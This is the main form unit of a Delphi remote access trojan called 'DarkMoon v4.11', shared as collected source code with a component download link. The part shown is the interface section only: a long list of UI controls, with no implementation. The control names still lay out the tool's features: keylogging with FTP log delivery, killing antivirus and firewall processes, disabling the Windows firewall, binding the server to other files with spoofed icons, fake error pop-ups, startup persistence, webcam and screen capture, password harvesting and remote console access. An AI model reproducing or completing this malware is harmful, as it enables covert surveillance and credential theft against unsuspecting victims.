mainform.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

unit Mainform;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,ShellAPI, te_controls, te_engine, StdCtrls, ExtCtrls,
te_extra_Effect_Controls, Menus, te_extended, tefx_buttons, te_switcher,
ComCtrls, te_extctrls,winsock,WSockets,strutils,
te_dialogs, ImgList, Grids, ValEdit, jpeg,wininet,  IniFiles, DM5314_UExplorer  ,Registry  ,DM5314_USimpleTCP  , DM5314_UCommandsAndUtils,
DM5314_Umd5,madRes, DM5314_Uftp, te_stddialogs, te_forms, WinSkinData;


procedure  SendDataMain ( COMMAND : string;PARM1 : string;PARM2 : string);
type
  TfrmMain = class(TForm)
    TeThemeEngine: TTeThemeEngine;
    TefrmMainform: TTeForm;
    gb2: TTeGroupBox;
    gb3: TTeGroupBox;
    gb6: TTeGroupBox;
    gb9: TTeGroupBox;
    gb8: TTeGroupBox;
    gbSettingsMenu: TTeGroupBox;
    btnSettingConnections: TTeButton;
    gb8Connection: TTeGroupBox;
    memoEnglish: TTeMemo;
    btnSettingGeneral: TTeButton;
    gb8general: TTeGroupBox;
    TeLabel7: TTeLabel;
    btnChatSend: TTeButton;
    LV1: TTeListView;
    lblExplorerRemoteDir: TTeLabel;
    lblRemotePath: TTeLabel;
    lvClients: TTeListView;
    btnClientsConnect: TTeButton;
    btnClientsRefresh: TtefxButton;
    StatusBar: TTeStatusBar;
    TeThemeList: TTeThemeList;
    TePopupMenu1: TTePopupMenu;
    CustomItem1: TTeItem;
    CustomItem2: TTeItem;
    MainMsg: TTeMessage;
    ColorDialog: TTeColorDialog;
    TeGroupBox7: TTeGroupBox;
    btnExplorerDownload: TTeButton;
    btnExplorerUpload: TTeButton;
    btnExplorerDel: TTeButton;
    btnExplorerRefresh: TTeButton;
    btnExploreRename: TTeButton;
    btnExplorerMKD: TTeButton;
    btnExplorerRun: TTeButton;
    btnExplorerUP: TTeButton;
    ValueListEditor1: TValueListEditor;
    lblFTPsize: TTeLabel;
    Label3: TTeLabel;
    Label4: TTeLabel;
    lblcurrentIPConnected: TTeLabel;
    lblCurentIP: TTeLabel;
    lblConnectionsKportS: TTeLabel;
    lblConnectionsKportC: TTeLabel;
    lblConnectionUsing: TTeLabel;
    gb5: TTeGroupBox;
    gbGeneral: TTeGroupBox;
    lblGeneralServername: TTeLabel;
    lblGeneralSINPort: TTeLabel;
    lblGeneralConnectioPort: TTeLabel;
    lblGeneralPassword: TTeLabel;
    lblGeneralhelpername: TTeLabel;
    lblGeneralURLdownload: TTeLabel;
    lblGeneralEjecutefile: TTeLabel;
    gbProcessKill: TTeGroupBox;
    CheckBoxAVFW: TTeCheckBox;
    OpenDlgBinder: TOpenDialog;
    TeGroupBox19: TTeGroupBox;
    btnAVFWkillClean: TTeButton;
    lblConnected: TTeLabel;
    ckbNotification: TtefxCheckBox;
    gb7: TTeGroupBox;
    gbNotifications: TTeGroupBox;
    TeScrollBox2: TTeScrollBox;
    gbFTPNot: TTeGroupBox;
    lblFTPUser: TTeLabel;
    lblFTPDir: TTeLabel;
    lblFTPPass: TTeLabel;
    lblFTPFTP: TTeLabel;
    lblFTPPort: TTeLabel;
    gbIPNot: TTeGroupBox;
    btnReverseConnectionIP: TTeButton;
    gbEMAILnot: TTeGroupBox;
    lblSetupSMTP: TTeLabel;
    lblSetupEMAIL: TTeLabel;
    gbICQNot: TTeGroupBox;
    lblICQNotUIN: TTeLabel;
    gbBinderIcon: TTeGroupBox;
    gbBinder: TTeGroupBox;
    btnBinderAdd: TTeButton;
    gpMISC: TTeGroupBox;
    TeScrollBox3: TTeScrollBox;
    gbSetupFakeError: TTeGroupBox;
    lblFakerrorTitle: TTeLabel;
    lblFakerrorMessage: TTeLabel;
    Label79: TTeLabel;
    gbStartup: TTeGroupBox;
    gbdelay: TTeGroupBox;
    gbSetupKeylogger: TTeGroupBox;
    lblkeyloggerSendlog: TTeLabel;
    chbAvtivekeylogger: TTeCheckBox;
    RadioBDelayDate: TTeRadioButton;
    RadioBDelayDateResets: TTeRadioButton;
    Label64: TTeLabel;
    TeLabel9: TTeLabel;
    TeLabel10: TTeLabel;
    gbFTPsettings: TTeGroupBox;
    lblFTPsettingsHost: TTeLabel;
    lblFTPsettingsUser: TTeLabel;
    lblFTPsettingsPass: TTeLabel;
    gbSetupMenu: TTeGroupBox;
    btnSetupNotify: TTeButton;
    btnSetupbinderIcon: TTeButton;
    btnSetupMISC: TTeButton;
    btnSetupAVFWkill: TTeButton;
    btnSetupGeneral: TTeButton;
    lblConnectionsinverseConnection: TTeLabel;
    lblConnectionsFTPPort: TTeLabel;
    TeGroupBox13: TTeGroupBox;
    chkbShowIP: TTeCheckBox;
    ImageList1: TImageList;
    TeAdvancedLabel3: TTeAdvancedLabel;
    PopupMenu1: TPopupMenu;
    edtStartUpActivex: TTeSEdit;
    edtStartUpLM: TTeSEdit;
    edtStartUpCU: TTeSEdit;
    edtfakeerrorMessage: TTeSEdit;
    edtfakeerrorTitle: TTeSEdit;
    edtKeyloggerFTPTime: TTeSEdit;
    edtKeyloggerFTPHost: TTeSEdit;
    edtKeyloggerFTPUser: TTeSEdit;
    edtKeyloggerFTPPass: TTeSEdit;
    edtDelayDate: TTeSEdit;
    edtDelayResets: TTeSEdit;
    edtSetupServerName: TTeSEdit;
    edtSetupHelperName: TTeSEdit;
    EditSetupICPort: TTeSEdit;
    EditSetupLisenPort: TTeSEdit;
    EditSetupPass: TTeSEdit;
    edtSetupDownloadURL: TTeSEdit;
    edtSetupExecuteFile: TTeSEdit;
    Edit17: TTeSEdit;
    Edit16: TTeSEdit;
    Edit18: TTeSEdit;
    Edit19: TTeSEdit;
    Edit20: TTeSEdit;
    btnFTPtest: TTeButton;
    edtUIN: TTeSEdit;
    edtSetupIP: TTeSEdit;
    TeButton8: TTeButton;
    edtSetupEMAIL: TTeSEdit;
    edtSetupSMTP: TTeSEdit;
    edtBinderFile: TTeSEdit;
    memoChatBody: TTeMemo;
    edtNick: TTeSEdit;
    EdtChatMessage: TTeSEdit;
    edtSIN: TTeSEdit;
    edtKlistening: TTeSEdit;
    edtKport: TTeSEdit;
    edtFTPPort: TTeSEdit;
    ImageList2: TImageList;
    gbMSN: TTeGroupBox;
    Memo1: TMemo;
    TeGroupBox27: TTeGroupBox;
    lblMSNConnectionEmail: TTeLabel;
    edtMSNEmail: TTeSEdit;
    lblMSNConnectionPASS: TTeLabel;
    edtMSNPASS: TTeSEdit;
    btnMSNconnectionConnect: TTeButton;
    gbMSNNOT: TTeGroupBox;
    edtCMSNPASS: TTeSEdit;
    edtcMSNEmail: TTeSEdit;
    lblMsnNotEmail: TTeLabel;
    lblMsnNotPass: TTeLabel;
    lvMSN: TTeListView;
    gbClientSizes: TTeGroupBox;
    TrackBarheight: TTeTrackBar;
    TrackBarwidth: TTeTrackBar;
    lblSizesWidth: TTeLabel;
    lblSizesHeight: TTeLabel;
    memoSpanish: TTeMemo;
    Label1: TLabel;
    gbIcon: TTeGroupBox;
    Bevel1: TBevel;
    imgionicon: TImage;
    btnIconAdd: TTeButton;
    edtIcon: TTeSEdit;
    TeScrollBox4: TTeScrollBox;
    imgIcon2: TImage;
    imgIcon3: TImage;
    imgIcon4: TImage;
    imgIcon1: TImage;
    imgIcon9: TImage;
    imgIcon5: TImage;
    imgIcon7: TImage;
    imgIcon6: TImage;
    imgIcon8: TImage;
    imgIcon10: TImage;
    imgIcon11: TImage;
    TeGroupBox3: TTeGroupBox;
    btnSetupSave: TTeButton;
    btnSetupOpen: TTeButton;
    TeGroupBox4: TTeGroupBox;
    TeButton5: TTeButton;
    TeButton13: TTeButton;
    ProgressBarExplorer: TTeProgressBar;
    lblLocalIP: TTeLabel;
    TeGroupBox5: TTeGroupBox;
    TeGroupBox6: TTeGroupBox;
    TeGroupBox9: TTeGroupBox;
    TeButton14: TTeButton;
    TeButton15: TTeButton;
    TeButton16: TTeButton;
    TeButton17: TTeButton;
    TeButton18: TTeButton;
    TeButton19: TTeButton;
    TeButton20: TTeButton;
    TeButton21: TTeButton;
    TeButton22: TTeButton;
    Label6: TLabel;
    TeButton23: TTeButton;
    TeButton24: TTeButton;
    TeButton25: TTeButton;
    TeButton26: TTeButton;
    TeButton27: TTeButton;
    TeButton28: TTeButton;
    TeButton29: TTeButton;
    TeButton32: TTeButton;
    edtWorkingIP: TTeSEdit;
    chBoxWorkingIP: TTeCheckBox;
    btnWorkingIP: TTeButton;
    RadioButtonExtention2: TTeRadioButton;
    RadioButtonExtention1: TTeRadioButton;
    RadioButtonExtention3: TTeRadioButton;
    RadioButtonExtention4: TTeRadioButton;
    chBoxDisableXPFirewall: TtefxCheckBox;
    OpenDialog2: TOpenDialog;
    OpenDialog1: TOpenDialog;
    openDfile: TTeOpenDialog;
    TeGroupBox15: TTeGroupBox;
    lblHost: TTeLabel;
    cbMainIP: TTeComboBox;
    btnMainConnect: TTeButton;
    memoMain: TMemo;
    TeLabel2: TTeLabel;
    chBoxIC: TtefxCheckBox;
    TeButton30: TTeButton;
    TeButton33: TTeButton;
    TeButton34: TTeButton;
    TeButton35: TTeButton;
    TeButton36: TTeButton;
    chboxMSN: TtefxCheckBox;
    TeButton31: TTeButton;
    TeScrollBox5: TTeScrollBox;
    TeHeaderPanel1: TTeHeaderPanel;
    TeHeaderPanel2: TTeHeaderPanel;
    TeHeaderPanel3: TTeHeaderPanel;
    TeHeaderPanel4: TTeHeaderPanel;
    TeHeaderPanel5: TTeHeaderPanel;
    TeHeaderPanel6: TTeHeaderPanel;
    TeHeaderPanel7: TTeHeaderPanel;
    TeHeaderPanel9: TTeHeaderPanel;
    TeHeaderPanel8: TTeHeaderPanel;
    Label8: TLabel;
    Label9: TLabel;
    TeButton3: TTeButton;
    gbSkinManager: TTeGroupBox;
    TeThemeSwitcher: TTeThemeSwitcher;
    gbChangehue: TTeGroupBox;
    trackbarHUE: TTeTrackBar;
    gbchangeBrightness: TTeGroupBox;
    trackbarBrightness: TTeTrackBar;
    RadioButtonExtention0: TtefxRadioButton;
    gbINF: TTeGroupBox;
    memoInf: TTeMemo;
    gbPasswords: TTeGroupBox;
    memoPasswords: TTeMemo;
    gbRegEdit: TTeGroupBox;
    lblCurrentReg: TLabel;
    TVReg: TTeTreeView;
    TeButton7: TTeButton;
    TeButton9: TTeButton;
    TeButton10: TTeButton;
    LVReg: TTeListView;
    TeButton11: TTeButton;
    gbSpyKeylogger: TTeGroupBox;
    gbKeyloggerSendKeys: TTeGroupBox;
    Memo2: TTeMemo;
    gbKeyloggerGetkeys: TTeGroupBox;
    memoGetkeys: TTeMemo;
    gbConsole: TTeGroupBox;
    lblSpyExample: TTeLabel;
    memoConsole: TTeMemo;
    edtConsole: TTeSEdit;
    gbWindows: TTeGroupBox;
    lv3: TTeListView;
    TeGroupBox11: TTeGroupBox;
    btnSpyWindowsClose: TTeButton;
    btnSpyWindowsHide: TTeButton;
    btnSpyWindowsshow: TTeButton;
    btnSpyWindowsRefresh: TTeButton;
    gbSpyProcesses: TTeGroupBox;
    lvProcesses: TTeListView;
    TeGroupBox12: TTeGroupBox;
    btnSpyProcessesKill: TTeButton;
    btnSpyProcessesRefresh: TTeButton;
    gbSpyWebcam: TTeGroupBox;
    TeTrackBar1: TTeTrackBar;
    btnSpyWebcamCap: TTeButton;
    TeGroupBox17: TTeGroupBox;
    imgWebcam: TImage;
    edtWebcamquality: TTeSEdit;
    gbSpyScreenshot: TTeGroupBox;
    btnSpyScreenshotCap: TTeButton;
    TeTrackBar2: TTeTrackBar;
    TeGroupBox18: TTeGroupBox;
    imgScreenshot: TImage;
    ProgressBarDesk: TTeProgressBar;
    edtScreenshotQuality: TTeSEdit;
    gbMSGs: TTeGroupBox;
    TeGroupBox1: TTeGroupBox;
    TeSpeedButton1: TTeSpeedButton;
    TeSpeedButton2: TTeSpeedButton;
    TeSpeedButton3: TTeSpeedButton;
    TeSpeedButton4: TTeSpeedButton;
    TeGroupBox2: TTeGroupBox;
    edtSPYMSGSMessage: TTeSEdit;
    btnMGSsSend: TTeButton;
    TeButton48: TTeButton;
    btnKeyloggerSave: TTeButton;
    TeButton51: TTeButton;
    btnKeyloggerFullScreen: TTeButton;
    btnScreenshotSave: TTeButton;
    gbAdmin: TTeGroupBox;
    TeScrollBox1: TTeScrollBox;
    btnMainAdmin4: TTeButton;
    btnMainAdmin8: TTeButton;
    btnMainAdmin3: TTeButton;
    btnMainAdmin5: TTeButton;
    btnMainAdmin1: TTeButton;
    btnMainAdmin27: TTeButton;
    btnMainAdmin2: TTeButton;
    btnMainAdmin15: TTeButton;
    btnMainAdmin22: TTeButton;
    btnMainAdmin46: TTeButton;
    btnMainAdmin10: TTeButton;
    btnMainAdmin21: TTeButton;
    btnMainAdmin9: TTeButton;
    btnMainAdmin17: TTeButton;
    btnMainAdmin23: TTeButton;
    btnAdminResetServer: TTeButton;
    gbFun: TTeGroupBox;
    btnMainFun0: TTeButton;
    btnMainFun24: TTeButton;
    btnMainFun14: TTeButton;
    btnMainFun13: TTeButton;
    btnMainFun19: TTeButton;
    btnMainFun16: TTeButton;
    btnMainFun11: TTeButton;
    btnMainFun6: TTeButton;
    btnMainFun18: TTeButton;
    btnMainFun20: TTeButton;
    btnMainFun12: TTeButton;
    btnMainFun28: TTeButton;
    edtMainPort: TTeSEdit;
    TeButton54: TTeButton;
    SaveDLog: TTeSaveDialog;
    SaveDPic: TTeSaveDialog;
    tefxButton1: TtefxButton;
    gbSearch: TTeGroupBox;
    edtSearchPath: TTeSEdit;
    edtSearchMask: TTeSEdit;
    btnSearchFind: TTeButton;
    lvSearch: TTeListView;